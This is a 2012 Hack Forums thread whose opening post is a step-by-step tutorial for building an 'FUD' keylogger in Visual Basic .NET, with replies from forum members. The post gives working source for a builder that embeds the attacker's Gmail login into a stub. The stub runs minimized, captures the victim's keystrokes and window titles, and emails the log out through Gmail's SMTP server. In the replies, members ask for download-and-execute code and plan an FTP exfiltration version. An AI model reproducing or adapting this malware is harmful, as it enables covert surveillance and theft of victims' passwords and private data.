+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Keyloggers (https://hackforums.net/forumdisplay.php?fid=113)
+---- Thread: [TUT]How To Make Your Own FUD Keylogger in Visual Basic. [TUT] (/showthread.php?tid=2237750)
Pages: Pages
1
2
[TUT]How To Make Your Own FUD Keylogger in Visual Basic. [TUT] - Justice - Feb 22, 2012
Full credit does not go to me.
Hello everyone, today i will be showing you how to create your own FUD keylogger. Hope you enjoy. Also give me some feed back. Thanks.
This is my new tutorial about making an keylogger in Visual Basic .NET, also called VB8. Before we start I’m going to explane you something more about Visual Basic. The Visual Basic is programming language created by Microsoft Corporation. Its most popular programming language in the world, its easy and good. For you just started with Visual Basic, this will be great tutorial to learn a bit more about it. Also if you are reading this tutorial, please dont just copy/paste .. the best way to learn is to read and study source. Even if its advance and hard to understand, you will find way to understand it .. like me.
OK, now i will explane you something about programming languages and how the computers understand them. A Computer cannot understand any persons spoken language. A spoken language such as English is simply too general and ambiguous for computers to understand. We must adapt to the machine and learn the computer language so that the computer can understand. This is where visual basic comes into it – when you type visual basic source code into the computer, the computer processes these statements into Visual Basic language.
WARNING: It doesnt work on Win7 & Vista because the name of .dll which I use to get keys isnt that name for vista & win7! You can google the name of .dll library to find for Windows7 & Vista
1. STEP
Download Visual Basic Express Edition 2008 for free HERE if you didnt already.
2. STEP
Run Visual Basic
In Tab click File > New Project
Windows Application > “Keylogger Builder” > Click Ok
3. STEP
Change the following from the Properties of Form1:
FormBorderStyle = FixedSingle
MaximizeBox = False
MinimizeBox = False
Show Icon = False
StartPosition = CenterScreen
Text = Keylogger Builder
Explanation:
From the Toolbox add:
TextBox1 – The GMail Username textbox
Textbox2 – The Gmail Password textbox
Button1 – The Build button, Change text to: Build
Label1 – Change text to: Gmail Username
Label2 – Change text to: Gmail Password
Explanation:
4. STEP
Now when you add all these, on top of code add:
Code:
Imports System.IO
Now under Public Class Form1 add following code, that would be strings:
Code:
Dim stub, text1, text2 As String
Const FileSplit = "@keylogger@"
Now when you done with that, just simply double click Button1 and add:
Code:
text1 = TextBox1.Text
text2 = TextBox2.Text
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
If File.Exists("Server.exe") Then
My.Computer.FileSystem.DeleteFile("Server.exe")
End If
FileOpen(1, Application.StartupPath & "\Server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & FileSplit & text1 & FileSplit & text2 & FileSplit)
FileClose(1)
MsgBox("The Server.exe is builded!")
Now you got your builder and now lets move to Stub.
5. STEP
Run Visual Basic
In Tab click File > New Project
Windows Application > “Stub” > Click Ok
6. STEP
Change the following from the Properties of Form1:
FormBorderStyle = FixedToolWindow
StartPosition = CenterScreen
Text = (no text)
WindowsState = Minimized
Explanation:
From the Toolbox add:
Textbox1 – KEY LOGGER(follow everything what victim write)
Textbox2 – GMail Username
Textbox3 – GMail Password
Timer1 – Upload Interval
Timer2 – Get name of window where keylogger get
keys(userful)
Timer3 – Get Keys
Explanation:
Timer1 Interval = 900
Timer2 Interval = 100
Timer3 Interval = 100
7. STEP
Now when you add all these, on top of code add:
Code:
Imports System.IO
Imports System.Net.Mail
Now under Public Class Form1 add following code, that would be strings:
Code:
Dim options(), text1, text2 As String
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim result As Integer
Const FileSplit = "@keylogger@"
Now double click Timer1 and write following code:
Code:
Dim MailSetup As New MailMessage
MailSetup.Subject = My.Computer.Name & ":"
MailSetup.To.Add(TextBox2.Text)
MailSetup.From = New MailAddress(TextBox2.Text)
MailSetup.Body = TextBox1.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
SMTP.Send(MailSetup)
TextBox1.Clear()
And add this as Function to source code:
DOWNLOAD HOW TO ADD FUNCTION IF YOU DONT KNOW:
http://www.mediafire.com/?hyr22ivdg2m
Code:
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
Dim strin As String = Nothing
Private Function GetActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
Return MyStr
End Function
Now double click Timer2 to get names of active windows:
Code:
If strin <> GetActiveWindowTitle() Then
TextBox1.Text = TextBox1.Text + vbNewLine & "[" & GetActiveWindowTitle() & "]:" + vbNewLine
strin = GetActiveWindowTitle()
End If
Now double click Form1 and write following code:
Code:
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
text1 = Space(LOF(1))
text2 = Space(LOF(1))
FileGet(1, text1)
FileGet(1, text2)
FileClose(1)
options = Split(text1, FileSplit)
TextBox2.Text = options(1)
TextBox3.Text = options(2)
Timer1.Start()
Timer2.Start()
Now double click Timer3 and past code:
Code:
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
8. STEP
You are done! 🤝
Credit: http://www.governmentsecurity.org/forum/...ual-basic/
* - opejporjdweqpkq3je - Feb 22, 2012
Have you by any chance the source (download + execute) ,
sorry for my bad english
* - Malzaharr - Feb 22, 2012
Gonna try this tomorrow, cuz I´m going to sleep now!
Nice and detailed TuTorial
* - Justice - Feb 22, 2012
(Feb 22, 2012 01:27 PM)opejporjdweqpkq3je Wrote: Have you by any chance the source (download + execute) ,
sorry for my bad english
Yes i do, i am off to class right now, but i will update the OP when i get home.
Talk to you soon.
* - Justice - Feb 22, 2012
(Feb 22, 2012 02:27 PM)1nf3ct3d Wrote: hood for newcomers...and fresh for noobies...
Lol, i totally agree my friend. Hope it helps everyone ;D
* - Incendiary - Feb 22, 2012
Thanks bro Gonna try this out! Going to edit the post when done! :D
thanks anyway Justice! :D
* - IrmbedicEvo - Feb 22, 2012
this is too much work for me haha. well nice tut bro!
* - SIM-747559 - Feb 22, 2012
Seems like a great TUT! Love these sort of TUTs that provide vb.net newbies the opportunity to copy/paste and learn a little bit! Thanks for this.
* - Justice - Feb 22, 2012
(Feb 22, 2012 05:53 PM)Incendiary Wrote: Thanks bro Gonna try this out! Going to edit the post when done! :D
thanks anyway Justice! :D
Awesome, please do. And it's my pleasure. ;D Hope i have helped!
(Feb 22, 2012 05:53 PM)Incendiary Wrote: Thanks bro Gonna try this out! Going to edit the post when done! :D
thanks anyway Justice! :D
Awesome, please do. And it's my pleasure. ;D Hope i have helped!
* - Water - Feb 23, 2012
Nice...to many words lol. Vouch for justice
* - TheNeutron - Feb 23, 2012
Nice tutorial. I don't really understand most of it but thanks. :D
* - Justice - Feb 23, 2012
(Feb 23, 2012 09:16 PM)Hack0pz Wrote: Nice tutorial. I don't really understand most of it but thanks. :D
lol, my pleasure bro, wish you could understand it ;/
Much love, justice.
* - ryck - Feb 23, 2012
Nice one man i will try this out soon!
Thanks for sharing!
* - Bullspit2346 - Feb 23, 2012
Great help brother me try to build one with FTP function
* - Justice - Feb 23, 2012
(Feb 23, 2012 11:12 PM)Bullspit2346 Wrote: Great help brother me try to build one with FTP function
Awesome man, i'm glad to hear this helped. =]